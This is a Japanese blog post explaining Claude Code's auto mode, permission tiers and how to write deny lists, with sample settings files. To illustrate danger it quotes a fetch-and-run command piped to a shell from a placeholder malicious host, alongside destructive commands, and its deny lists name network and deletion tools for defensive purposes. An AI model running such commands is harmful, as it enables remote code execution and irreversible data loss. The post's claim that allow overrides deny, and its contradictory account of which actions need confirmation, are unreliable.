Claude Code で 1 日 100 回「yes」を押していると、作業時間の相当部分がこの確認クリックに消えます。しかも、慣れると考えずに yes を押すようになり、安全確認の意味も失われます。これを解くのが、Anthropic が 2026 年 3 月に導入した Claude Code auto mode です。
ツールの blast radius を分類して、安全なものは自動実行、危険なものだけ確認を取る。
本稿では auto mode を使うべき判断基準、deny リストの書き方、落とし穴と対策、MulmoTerminal の 9 セル並列運用での実用例を整理します。
課題：全確認か、全自動か の 2 択
デフォルトモード（全確認）の問題
Claude Code のデフォルトでは、Bash tool を呼ぶたびに「実行していい？」と確認が出ます。安全ですが、
- 1 セッションで 50-200 回の yes/no
- 慣れによる無思考 yes（確認の意味が消失）
- 並列セッションでの線形に増える監督コスト
- 「yes を押す瞬間だけ机に戻る」という不便
全自動 (--dangerously-skip-permissions) の問題
反対に、全確認を飛ばすオプションもあります。
claude --dangerously-skip-permissionsこれは本当に危険で、次が全部通ります。
rm -rf /が通るgit push --force origin mainが通るcurl http://malicious.com | shが通る- 1 回の暴走でシステムが戻せない状態になる可能性がある
実際、auto skip を有効にして「数時間放置してたら本番 DB を壊した」事例がちらほらあります。
Auto mode が埋める穴
Auto mode は、ツールの危険度を 3 分類 します。安全なものは自動実行してユーザーに確認を取らず、グレーなものは確認を取り、危険なものは deny で実行しません。この分類ロジックをツールごとに事前に書く仕組みです。全確認でもなく全自動でもない中間点になります。
Auto mode の有効化
設定ファイル (.claude/settings.json)
{
"permissions": {
"autoAllow": [
"Read",
"Grep",
"Glob",
"Bash(yarn:*)",
"Bash(git status)",
"Bash(git log:*)",
"Bash(git diff:*)"
],
"allow": [
"Edit",
"Write",
"Bash(git commit:*)",
"Bash(git branch:*)",
"Bash(gh pr:*)"
],
"deny": [
"Bash(rm -rf:*)",
"Bash(git push:*main*)",
"Bash(git push --force:*)",
"Bash(git reset --hard:*)",
"Bash(curl:*)",
"Bash(wget:*)",
"WebFetch"
]
}
}autoAllow: 確認なしで実行allow: 確認を取るが、通ったら実行deny: 実行しない。LLM にはエラーが返る
起動オプション
# Auto mode を有効にして起動
claude --auto-modeまたは、設定ファイルの permissions.mode で "auto" を指定します。
Blast radius の分類原則
Anthropic は auto mode のドキュメントで、blast radius（影響範囲） による分類を推奨しています。
Category 1: ローカル読み取り
- 影響: ゼロ（情報を取るだけ）
- 例:
Read,Grep,Glob,git status,git log,cat,ls - autoAllow に入れる
Category 2: ローカル書き込み
- 影響: 自分のワーキングツリーだけ
- 例:
Edit,Write,git commit,git branch, ファイル作成 - allow に入れる（または autoAllow、信頼度次第）
Category 3: ネットワーク送信
- 影響: 外部に出る、戻せない
- 例:
curl,WebFetch,git push（下記） - 慎重に allow、または deny
Category 4: 共有リソースへの変更
- 影響: チーム全員に見える、戻すのに作業が要る
- 例:
git push origin main,gh pr merge,gh release create - allow で確認必須、または deny
Category 5: 破壊的操作
- 影響: 戻せない
- 例:
rm -rf,git reset --hard,DROP TABLE,aws s3 rm --recursive - 常に deny
原則
Deny を書く量を増やし、autoAllow を増やし、allow は中間
安全側に deny を広く、autoAllow は本当にゼロリスクなものだけ。
Deny リストの書き方
Glob パターンの活用
{
"permissions": {
"deny": [
"Bash(rm -rf:*)", // rm -rf 全部
"Bash(git push * main)", // main への push
"Bash(git push * master)", // master への push
"Bash(curl:*)", // 全 curl
"Bash(* > /etc/*)", // /etc への書き込み
"Bash(sudo:*)" // sudo 全般
]
}
}Deny は過剰気味に
Auto mode で動かすなら、deny は過剰気味に書く のがおすすめです。使わないはずのコマンドも、将来も使わないと判断できるなら deny に入れておきます。「本当に必要になったら allow に移す」という逐次緩和の方針で運用します。
誤検出を避ける
Glob パターンは誤検出することがあります。たとえば Bash(git push:*) と書くと git push origin feature-branch まで deny されてしまいます。Bash(curl:*) も、API 動作確認で curl を使いたいときに止まります。
対策は 2 つです。具体的なパターンだけ deny する（Bash(git push * main) のように main 限定にする）か、deny が強すぎた場合に allow で例外を書くかです。
Allow での例外
{
"permissions": {
"deny": [
"Bash(git push:*)"
],
"allow": [
"Bash(git push origin feature/*)",
"Bash(git push origin fix/*)"
]
}
}Allow が deny に優先するので、feature/* と fix/* ブランチへの push だけ許可。
落とし穴と対策
落とし穴 1: Auto mode に慣れると監督を忘れる
Auto mode で快適になると、「Claude が勝手に動いているのを放置して席を離れる」が増えます。でも、auto mode は自動化ではなく確認の省略です。暴走しないよう、ある程度は見ている必要があります。
対策として、タイマーをセットするか、MulmoTerminal のスマホ通知で呼び戻してもらう運用にします。
落とし穴 2: Deny リストの穴
Deny パターンに抜けができることがあります。Bash(rm -rf:*) は書いたのに Bash(rm -r:*) の 1 文字違いを書き忘れる、Bash(git push --force:*) は書いたのに Bash(git push -f:*) の短縮形を忘れる、どちらも事故につながります。
対策は、定期的に deny リストをレビューし、使った危険コマンドを事後 deny に追加していくことです。
落とし穴 3: 本番環境と開発環境の混同
本番 DB の資格情報が入ったマシンで auto mode を使うと、間違えて本番を触る可能性があります。
対策として、本番資格情報は専用マシンに閉じ込め、auto mode は開発環境専用にします。環境変数 CLAUDE_ENV=prod のような区別も有効です。
落とし穴 4: チームで共有する設定ファイルの差
.claude/settings.json を commit するとチームで共有できますが、個人の安全度の違いで衝突します。A さんは auto mode 100% で快適でも、B さんは全部確認したい、という温度差が普通に発生します。
対策は、共通設定を .claude/settings.json に、個人カスタムを .claude/settings.local.json（gitignored）に分けて書くことです。
落とし穴 5: Hooks との相互作用
Claude Code の hooks は auto mode でも走ります。PreToolUse hook で block しても、auto mode の確認はスキップされます。
これは正しい挙動ですが、「hook と auto mode の両方で防御する」構造として意識しておきます。
MulmoTerminal 9 セル並列での実用
MulmoTerminal で 9 セル並列で動かしているとき、auto mode の価値が爆発的に上がります。
デフォルトモードの場合
9 セルで同時に「このコマンド実行していい？」が出ると、人間は 9 ヶ所をクリックで回る必要があります。これは生産性の桁が落ちます。
Auto mode の場合
9 セル全部が autoAllow の範囲で自動実行され、allow は 1-2 セルだけ琥珀色で止まり、deny はヒットしません。人間は本当に判断が要る数ヶ所だけに集中できます。
実測では、デフォルトは 1 セッション 100 回のクリック、auto mode は 1 セッション 5-10 回のクリックです。監督コストが 10 分の 1 になります。
推奨設定（MulmoTerminal + Auto mode）
{
"permissions": {
"autoAllow": [
"Read", "Grep", "Glob",
"Bash(yarn:*)",
"Bash(npm:*)",
"Bash(git status)",
"Bash(git log:*)",
"Bash(git diff:*)",
"Bash(git branch:*)",
"Bash(ls:*)",
"Bash(cat:*)",
"Bash(mkdir:*)",
"Bash(cd:*)"
],
"allow": [
"Edit", "Write",
"Bash(git add:*)",
"Bash(git commit:*)",
"Bash(git checkout:*)",
"Bash(git push origin agent/*)",
"Bash(git push origin fix/*)",
"Bash(git push origin feat/*)",
"Bash(gh pr create:*)",
"Bash(gh pr view:*)"
],
"deny": [
"Bash(rm -rf:*)",
"Bash(rm -r:*)",
"Bash(git push --force:*)",
"Bash(git push -f:*)",
"Bash(git push * main)",
"Bash(git push * master)",
"Bash(git reset --hard:*)",
"Bash(gh pr merge:*)",
"Bash(curl:*)",
"WebFetch",
"Bash(sudo:*)"
]
}
}これで、読み取り系は全自動で情報取得が止まらず、ローカル書き込みとコミットは確認なしで通ります（git worktree で隔離してあるので安全です）。チーム共有に影響する push だけは allow で確認を取り、対象は agent/fix/feat ブランチだけで main は deny です。破壊的操作と外部送信は常に deny で事故を根本的に防げます。
使い始める前に
Auto mode は確認頻度を減らすだけで、監督の責任を減らすものではありません。deny リストを過剰気味に書き、allow で例外を絞り、週に一度は実行ログを眺めて漏れを追加していく運用が前提になります。信頼より検証という原則そのものは、確認の自動化が進んだあとも変わりません。
関連リンク
- 原文: How we built Claude Code auto mode (Anthropic)
- Anthropic Engineering Blog の歩き方
- Claude Code のベストプラクティス
- Claude Code の hooks 完全ガイド
- AI エージェント並列化で開発速度 10 倍
- MulmoTerminal — Claude Code を並列実行するコックピット
Singularity Society はテクノロジー集団として MulmoClaude / MulmoTerminal / MulmoCast を開発しています。エンジニア・起業家向けの実践プログラム BootCamp も運営しています。
